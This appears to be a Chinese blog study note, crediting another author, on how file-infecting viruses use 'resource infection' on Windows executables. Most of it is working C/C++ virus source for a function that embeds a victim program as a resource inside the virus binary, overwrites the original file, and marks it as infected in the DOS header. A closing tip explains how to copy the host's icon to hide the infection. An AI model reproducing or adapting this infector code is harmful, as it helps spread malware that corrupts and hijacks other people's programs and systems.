本文学习自:关于感染型病毒的那些事(三) by gaa_ra 代码也来自gaa_ra
资源感染,就是将宿主程序作为病毒程序的一个资源来保存,将附加了宿主程序的病毒程序覆盖原来的宿主程序,当打开病毒文件时,病毒发作并将宿主程序释放出来运行。
进行资源感染后,打开感染文件的过程大致如下:
CreateFile创建资源文件,用于存放要被释放出来的宿主文件 --> FindResource查找该资源 --> LoadResource --> SizeofResource --> WriteFile将资源(宿主程序)写入刚刚创建的文件 --> CreateProcess运行宿主程序 --> WaitForSingleObject等待宿主程序结束 --> CloseHandle关闭进程句柄和线程句柄 --> DeleteFile删除刚刚生成的资源文件。将宿主文件作为资源添加到程序可以用UpdateResource来文件,注意,病毒编译时需要有资源,如果病毒本身没有资源,使用UpdateResource会失败,参考代码如下:
void InfectFilesByResource(char *FileName)
{
DWORD dwSizeOfFile;
DWORD dwBytesUsed;
char szTempVirusFile[MAX_PATH];
HANDLE hFile;
HRSRC hResource;
LPBYTE lpBuffer;
hFile = CreateFile(FileName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_ARCHIVE,
NULL);
if (INVALID_HANDLE_VALUE != hFile)
{
dwSizeOfFile = GetFileSize(hFile, NULL);
//这里对文件大小进行判断,如果病毒体长度+宿主程序长度大于1M的话就进行注入感染
if (dwSizeOfFile + dwSizeOfVirus > 0x100000)
{
CloseHandle(hFile);
InfectFilesByInject(FileName); // 这个注入可以参考空隙感染方式
return;
}
lpBuffer = new BYTE[dwSizeOfFile];
//将整个宿主程序读入Buffer当中
if (ReadFile(hFile, lpBuffer, dwSizeOfFile, &dwBytesUsed, NULL) != FALSE)
{
//这里生成一个临时文件,加入宿主程序作为资源
GetTempFileName("C://Windows//System32//", "~", 0, szTempVirusFile);
//szDstFile是病毒程序路径
CopyFile(szDstFile, szTempVirusFile, FALSE);
//下面更新病毒程序资源
hResource = (HRSRC)BeginUpdateResource(szTempVirusFile, FALSE);
if (NULL != hResource)
{
if (UpdateResource(hResource,
RT_RCDATA,
MAKEINTRESOURCE(520),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPVOID)lpBuffer,
dwBytesUsed) != FALSE)
{
EndUpdateResource(hResource, FALSE);
}
}
}
delete[] lpBuffer;
lpBuffer = NULL;
CloseHandle(hFile);
//将加入了宿主程序资源的病毒程序覆盖原来宿主程序
CopyFile(szTempVirusFile,FileName,FALSE);
Sleep(100);
//删除临时文件
DeleteFile(szTempVirusFile);
hFile = CreateFile(FileName,
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_ARCHIVE,
NULL);
if (INVALID_HANDLE_VALUE != hFile)
{
SetFilePointer(hFile, 0x4e, NULL, FILE_BEGIN);
//写入资源感染标志'R',位于DOS头
WriteFile(hFile,(LPCVOID)("R"), 1, &dwBytesUsed, NULL);
CloseHandle(hFile);
}
}
}
用资源感染方式,可以修改图标为宿主程序图标,以起到较好的隐蔽性。